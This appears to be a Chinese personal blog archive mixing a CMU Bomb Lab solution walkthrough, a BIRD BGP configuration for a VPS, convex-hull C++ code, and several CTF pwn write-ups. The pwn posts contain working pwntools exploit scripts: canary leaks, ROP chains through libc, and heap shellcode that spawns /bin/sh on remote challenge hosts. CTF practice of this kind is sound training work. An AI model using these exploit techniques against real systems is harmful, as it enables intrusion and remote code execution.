作者归档:Jack

CMU 15213 Bomb Lab Reverse

被foobar科学院的朋友们拉进坑。
这些逆向题,都算还比较简单的,至少比AdWorld的有些题简单。。
主要使用IDA F5解决。里面的符号名字需配合我的加好注释的i64食用。
Phase_1:显然输入Border relations with Canada have never been better.即可。
Phase_2:程序逻辑是 读入6个数,要求每个数是前面一个数的2倍。且第一个数必须是一。故填入1 2 4 8 16 32。
Phase_3:读入两个数,有一个大Switch,只要照着Switch里的对应关系填好就行。我选0 207.
Phase_4:读入两个数,第二个数没用,但是要求小于14,第一个数调用一个递归函数。懒得看这个递归,暴力跑一下,填0即可。故输入0 0.
Phase_5:首先要求字符串长度是6.然后依次取字符串每个字符的低8位,到长为0xF的字符数组中去置换字符。拼出来是flyers即胜利。一种可能的解是ionefg。
Phase_6:这关是最麻烦的。得一点一点看。注意符号里留下的暗示,node1~node6,其实这些东西代表单链表节点,前8个字节是long long的value,后8个字节是node* 的ptr。把数都读入到arr1[6]里面。第一个大循环要求每个数小于等于6,且数组里每个数不重复。第二个循环使数组里每个数x都变为7-x。第三个循环在栈上开了空间node* v17[6],用来存放单链表节点地址。根据arr1[i]的值来确定v17[i]该存入那个地址。即v17[i]=&node[arr1[i]]。从这里可以猜测判断,前面人输入的数不能是0.必须是1-6.第4个循环最复杂。他的实际作用是根据v17数组的前后顺序更改Node1到Node6这几个节点的连接关系。可配合i64代码自行思考。第5个循环是约束条件,要求链表前面的节点的LODWORD(即Longlong的低32bit signed int)要大于后一个节点的。由此查看Node的内存布局。按照LODWORD排序,应该是3 4 5 6 1 2.再用7去减,就得4 3 2 1 6 5.输入即可通关。

CMU链接:http://csapp.cs.cmu.edu/3e/labs.html
IDA i64下载链接、源程序下载链接:bomb

Vultr VPS BGP配置双接入点Choopa + HE

在BGP的申请方面,下面的参考资料都说得很清楚了。但是对于两个Peer的接入网上的文章都没有说清楚。经过一番摸索。我把自己的bird配置文件贴上来供参考。可以实现Choopa和HE线路的共同运作。
Bird6.conf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
router id **Vultr分配的IPV4地址**;
protocol device{
scan time 5;
}
protocol bgp Vultr {
local as **你的AS号,不带AS两个字母**;
source address **Vultr分配的IPV6地址**;
neighbor **Vultr分配的IPV6网关** as 64515;
import none;
export all;
graceful restart on;
multihop 2;
password "**BGP密码**";
}
protocol bgp HE {
local as **你的AS号,不带AS两个字母**;
source address **HE分配的隧道IPV6地址**;
neighbor **HE分配的隧道IPV6网关** as 6939;
import none;
export all;
graceful restart on;
multihop 2;
}
protocol static {
route **你的IPV6宣告网段** via **Vultr分配的IPV6地址**;
}
protocol direct {
interface "**自定义网卡名**";
import all;
}

HE.NET隧道网卡linux配置命令:

1
2
3
4
ifconfig sit0 up
ifconfig sit0 inet6 tunnel ::**HE.NET IPv4接入服务器地址**
ifconfig sit1 up
ifconfig sit1 inet6 add **HE分配的隧道IPv6地址**/64

Vultr网卡Linux配置命令:

1
2
3
ip link add dev **自定义网卡名** type dummy
ip link set **自定义网卡名** up
ip addr add dev **自定义网卡名** **你的IPV6宣告网段**

参考资料:
https://blog.yuzu.im/marchives/133
https://blog.ni-co.moe/public/560.html
https://blog.ni-co.moe/public/563.html

洛谷 P2742 [USACO5.1]圈奶牛Fencing the Cows /【模板】二维凸包

开心啦! THUOJ不过不知道是什么鬼畜精度问题,不管了^v^
板子好用^v^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include<iostream>
#include<iomanip>
#include<string>
#include<algorithm>
#include<vector>
#include<cmath>
using namespace std;
struct point {
    double x, y;
    long long id;
    point() :x(0), y(0) {}
    bool operator ==(const point& p) const {
        return x == p.x && y == p.y;
    }
}PP; //PP: Polar Point
vector<point> points;
double area2(point p, point q, point s) {
    /*
    |p.x p.y 1|
    |q.x q.y 1| == 2*DirectedTriangleArea(p,q,s)
    |s.x s.y 1|
    */

    return p.x * q.y - s.x * q.y
        + q.x * s.y - q.x * p.y
        + s.x * p.y - p.x * s.y;
}
bool toLeftTest(point p, point q, point s) {
    //When return value large than 0, S is on the left side of ray PQ
    return area2(p, q, s) > 0;
}
bool toLeftTest2(point p, point q, point s) {
    //When return value large than 0, S is on the left side of ray PQ
    return area2(p, q, s) >= 0;
}
bool cmp(const point& p1, const point& p2) { // Sort according to polar angle
    return PP == p1 || !(PP == p2) && toLeftTest(PP, p1, p2);
}
point LTL(vector<point>& points) { //Lowest then leftmost
    point ltl = points[0];
    for (int i = 1; i < points.size(); i++) {
        if (points[i].y < ltl.y || points[i].y == ltl.y && points[i].x < ltl.x)
            ltl = points[i];
    }
    return ltl;
}
vector<point> grahamScan() {
    PP = LTL(points);
    sort(points.begin(), points.end(), cmp);
    vector<point> S, T;
    S.push_back(points[0]); S.push_back(points[1]);
    for (int i = points.size() - 1; i > 1; i--)T.push_back(points[i]);
    while (!T.empty()) {
        if (toLeftTest2(S[S.size() - 2], S[S.size() - 1], T[T.size() - 1])) {
            S.push_back(T[T.size() - 1]);
            T.pop_back();
        }
        else S.pop_back();
    }
    return S;
}
double dist(point x, point y) {
    return sqrt((x.x - y.x) * (x.x - y.x) + (x.y - y.y) * (x.y - y.y));
}
int main() {
    ios::sync_with_stdio(false);
    long long n;
    cin >> n;
    for (int i = 1; i <= n; i++) {
        point tmp;
        cin >> tmp.x >> tmp.y;
        tmp.id = i;
        points.push_back(tmp);
    }
    vector<point> result;
    if (points.size() > 2)result = grahamScan();
    else result = points;
    double res = 0;
    for (int i = 0; i < result.size(); i++) {
        res += dist(result[i % result.size()], result[(i + 1) % result.size()]);
    }
    cout.setf(ios::fixed);
    cout << setprecision(2) << res;
}

CG2017 PA1-1 Convex Hull (凸包)

开始接触计算几何啦!!!

CG2017 PA1-1 Convex Hull (凸包)


Description (描述)

After learning Chapter 1, you must have mastered the convex hull very well. Yes, convex hull is at the kernel of computational geometry and serves as a fundamental geometric structure. That’s why you are asked to implement such an algorithm as your first programming assignments.

Specifically, given a set of points in the plane, please construct the convex hull and output an encoded description of all the extreme points.

经过了第一章的学习,想必你对于凸包的认识已经非常深刻。是的,凸包是计算几何的核心问题,也是一种基础性的几何结构。因此你的第一项编程任务,就是来实现这样的一个算法。

具体地,对于平面上的任意一组点,请构造出对应的凸包,并在经过编码转换之后输出所有极点的信息。

Input (输入)

The first line is an integer n > 0, i.e., the total number of input points.

The k-th of the following n lines gives the k-th point:

pk = (xk, yk), k = 1, 2, …, n

Both xk and yk here are integers and they are delimited by a space.

第一行是一个正整数首行为一个正整数n > 0,即输入点的总数。

随后n行中的第k行给出第k个点:

pk = (xk, yk), k = 1, 2, …, n

这里,xk与yk均为整数,且二者之间以空格分隔。

Output (输出)

Let { s1, s2, …, sh } be the indices of all the extreme points, h ≤ n. Output the following integer as your solution:

( s1 * s2 * s3 * … * sh * h ) mod (n + 1)

若 { s1, s2, …, sh } 为所有极点的编号, h ≤ n,则作为你的解答,请输出以下整数:

( s1 * s2 * s3 * … * sh * h ) mod (n + 1)

Sample Input (输入样例)


10
7 9
-8 -1
-3 -1
1 4
-3 9
6 -4
7 5
6 6
-6 10
0 8

Sample Output (输出样例)


7   // ( 9 x 2 x 6 x 7 x 1 x 5 ) % (10 + 1)

Limitation (限制)

  • 3 ≤ n ≤ 10^5
  • Each coordinate of the points is an integer from (-10^5, 10^5). There are no duplicated points. Each point is selected uniformly randomly in (-10^5, 10^5) x (-10^5, 10^5).
  • All points on extreme edges are regarded as extreme points and hence should be included in your solution.
  • Time Limit: 2 sec
  • Space Limit: 512 MB
  • 3 ≤ n ≤ 10^5
  • 所有点的坐标均为范围(-10^5, 10^5)内的整数,且没有重合点。每个点在(-10^5, 10^5) x (-10^5, 10^5)范围内均匀随机选取
  • 极边上的所有点均被视作极点,故在输出时亦不得遗漏
  • 时间限制:2 sec
  • 空间限制:512 MB

Hint (提示)

Use the CH algorithms presented in the lectures.

课程中讲解过的凸包算法

 

分数:92.5
使用Graham Scan算法。凸包板子题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include<iostream>
#include<string>
#include<algorithm>
#include<vector>
using namespace std;
struct point {
    long long x, y, id;
    point() :x(0), y(0) {}
    point(long long x, long long y) :x(x), y(y) {}
    bool operator ==(const point& p) const {
        return x == p.x && y == p.y;
    }
}PP; //PP: Polar Point
vector<point> points;
long long area2(point p, point q, point s) {
    /*
    |p.x p.y 1|
    |q.x q.y 1| == 2*DirectedTriangleArea(p,q,s)
    |s.x s.y 1|
    */

    return p.x * q.y - s.x * q.y
        + q.x * s.y - q.x * p.y
        + s.x * p.y - p.x * s.y;
}
bool toLeftTest(point p, point q, point s) {
    //When return value large than 0, S is on the left side of ray PQ
    return area2(p, q, s) > 0;
}
bool toLeftTest2(point p, point q, point s) {
    //When return value large than 0, S is on the left side of ray PQ
    return area2(p, q, s) >= 0;
}
bool cmp(const point& p1, const point& p2) { // Sort according to polar angle
    return PP == p1 || !(PP == p2) && toLeftTest(PP, p1, p2);
}
point LTL(vector<point>& points) { //Lowest then leftmost
    point ltl = points[0];
    for (int i = 1; i < points.size(); i++) {
        if (points[i].y < ltl.y || points[i].y == ltl.y && points[i].x < ltl.x)
            ltl = points[i];
    }
    return ltl;
}
vector<point> grahamScan() {
    PP = LTL(points);
    sort(points.begin(), points.end(), cmp);
    vector<point> S, T;
    S.push_back(points[0]); S.push_back(points[1]);
    for (int i = points.size() - 1; i > 1; i--)T.push_back(points[i]);
    while (!T.empty()) {
        if (toLeftTest2(S[S.size() - 2], S[S.size() - 1], T[T.size() - 1])) {
            S.push_back(T[T.size() - 1]);
            T.pop_back();
        }
        else S.pop_back();
    }
    return S;
}
int main() {
    ios::sync_with_stdio(false);
    long long n;
    cin >> n;
    for (int i = 1; i <= n; i++) {
        point tmp;
        cin >> tmp.x >> tmp.y;
        tmp.id = i;
        points.push_back(tmp);
    }
    vector<point> result;
    if (points.size() > 2)result = grahamScan();
    else result = points;
    long long res = 1;
    for (int i = 0; i < result.size(); i++) {
        //cout << result[i].id << endl;//debug
        res = ((res % (n + 1)) * (result[i].id % (n + 1))) % (n + 1);
    }
    res = ((res % (n + 1)) * (result.size() % (n + 1))) % (n + 1);
    cout << res;
}

DOSBox-8086Assembly

最近我们学校在上8086汇编课程,需要写汇编程序。而Masm套件自带的debug调试程序是命令行的,不很好用。于是我在网上搜索了一下好用的8086汇编调试器,搜到了Turbo Debugger,经过试用。发现非常好用,带有GUI界面,非常人性化。于是就想把它和DOSBox集成到一起,制作一个输入源代码文件,即可自动开始调试的程序。经过努力,我做出了这个套件。我把它称作:DOSBox-8086Assembly。

继续阅读

AdWorld Pwn pwn1

Canary泄露入门题:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4598&page=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")

ROP_PopRdi = 0x400a93
ROP_Ret = 0x40067e
ADDR_GOT_read = 0x600FD0
ADDR_PLT_puts = 0x400690
ADDR_SYM_main = 0x400908

p = remote("111.198.29.45",38563)
#p = process("./babystack")
p.sendlineafter(">> ","1")
payload1 = b'0'*0x88
p.sendline(payload1)
p.sendlineafter(">> ","2")
p.recvuntil("00\n")
canary = u64(b"\x00" + p.recv(7))

print(hex(canary))
p.sendlineafter(">> ","1")
payload2 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_PopRdi) + p64(ADDR_GOT_read) + p64(ADDR_PLT_puts) + p64(ADDR_SYM_main)
p.sendline(payload2)
p.sendlineafter(">> ","3")

GOT_read = p.recvuntil("\n").split()[0]
for i in range(len(GOT_read),8):
    GOT_read += b'\x00'
GOT_read = u64(GOT_read)

libc = LibcSearcher("read",GOT_read)
ADDR_LibC_base = GOT_read - libc.dump("read")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
p.sendlineafter(">> ","1")
payload3 = b'0'*0x88 + p64(canary) + p64(0) + p64(ROP_Ret) + p64(ROP_PopRdi) + p64(ADDR_String_Sh) + p64(ADDR_system)
p.sendline(payload3)
p.sendlineafter(">> ","3")

p.interactive()

AdWorld Pwn pwn-200

学了64位的ROPGadgets就把32位咋传参的搞忘了???
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4847&page=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
import time
context.log_level="debug"
context(arch="amd64",os="linux")

z = remote('111.198.29.45',49363)
z.recvuntil("Welcome to XDCTF2015~!\n")
elf = ELF("./pwn")
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = 0x80484be
payload = b'a'*0x6c + p32(0) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4) + b'a'*(0x100-6*4-0x6c)
z.send(payload)
read_addr = u32(z.recv(4))
print(hex(read_addr))
libc = LibcSearcher('read',read_addr)
libc_addr = read_addr - libc.dump('read')
sys_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
payload2 = b'a'*0x6c + p32(0) + p32(sys_addr) + p32(0) + p32(binsh_addr) + b'a'*(0x100-4*4-0x6c)
z.send(payload2)
z.interactive()

有两点要注意:一个是read函数会不多不少的读入给定的字节数,不需要换行,如果多打了换行是会算到下一个read里的。
(更新:用换行可以提前结束read函数,且这个换行符会被读入)
还有一个问题是又和64位搞混了。把栈布局成了write_plt,1,read_got,4,main_addr的结构。这是错误的。栈应该如下布置:call_function,return_function,var_1,var_2,…

AdWorld Pwn note-service2

新接触的一道题,新题型。。
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4611&page=1
Writeup: https://adworld.xctf.org.cn/media/uploads/writeup/ee65882803c511ea9f5700163e004e93.pdf
开眼23333。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

def create(p,index,size,content):
    p.sendlineafter("your choice>> ","1")
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(p,index):
    p.sendlineafter("your choice>> ","4")
    p.sendlineafter("index:",str(index))

p = remote("111.198.29.45",34191)
#p = process("./1")

ASM = []
ASM.append(asm("xor rax,rax") + b"\x90\x90\xeb\x19")
ASM.append(asm("mov eax,0x3b") + b"\xeb\x19")
ASM.append(asm("xor rsi,rsi") + b"\x90\x90\xeb\x19")
ASM.append(asm("xor rdx,rdx") + b"\x90\x90\xeb\x19")
ASM.append(asm("syscall") + b"\x90\x90\x90\x90\x90")

for i in range(0,5):
    create(p,i,8,ASM[i])
delete(p,0)
create(p,-8,8,ASM[0])
p.sendlineafter("your choice>> ","/bin/sh")

p.interactive()

附上i64db:
1f10c9df3d784b5ba04b205c1610a11e

CTF Pwn AdWorld stack2

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4695&page=1
新颖题型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level="debug"
context(arch="amd64",os="linux")

def change(p,offset,num):
    p.sendline("3")
    p.sendline(str(offset))
    p.sendline(str(num))

p = remote("111.198.29.45",48634)
p.sendline("0")

off = 0x84
system_addr = 0x8048450
sh_addr = 0x8048987

for i in range(0,4):
    change(p,off+i,system_addr&0xFF)
    system_addr>>=8

off += 8
for i in range(0,4):
    change(p,off+i,sh_addr&0xFF)
    sh_addr>>=8

p.sendline("5")
p.interactive()

BUUCTF Pwn ciscn_2019_c_1

本题涉及了栈对齐问题,这个pwn在ubuntu18上运行,调用system的时候需要加1个retn来去补齐,目前不知道具体的原因。经实验再多加4个retn也可,可知这个栈对齐是32字节的。
2022年1月16日更新:加1个、3个、5个retn都可以,应该是16字节对齐的。原因是Ubuntu 18.04中的Glibc使用的movaps指令需要16字节对齐。可以参考下列资料:https://bbs.pediy.com/thread-269597.htm

from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(arch="amd64",os="linux")

pop_rdi = 0x0000000000400c83
puts_got_addr = 0x602020
puts_plt_addr = 0x4006e0
encrypt_sym_addr = 0x4009A0
ret = 0x4006b9

#p = remote("node3.buuoj.cn",28578)
p=process("./ciscn_2019_c_1")
p.sendline("1")
payload=b'0'*0x50+p64(0)+p64(pop_rdi)+p64(puts_got_addr)+p64(puts_plt_addr)+p64(encrypt_sym_addr)
p.sendline(payload)
p.recvuntil("Ciphertext\n")
p.recvuntil("\n")

GOT_puts=p.recvuntil("\n").split()[0]
print(GOT_puts)
for i in range(len(GOT_puts),8):
    GOT_puts += b'\x00'
GOT_puts = u64(GOT_puts)

libc = LibcSearcher("puts",GOT_puts)
ADDR_LibC_base = GOT_puts - libc.dump("puts")
ADDR_system = ADDR_LibC_base + libc.dump("system")
ADDR_String_Sh = ADDR_LibC_base + libc.dump("str_bin_sh")
payload=b'0'*0x50+p64(0)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(ret)+p64(pop_rdi)+p64(ADDR_String_Sh)+p64(ADDR_system) # 删去4个retn也可
p.sendline(payload)

p.interactive()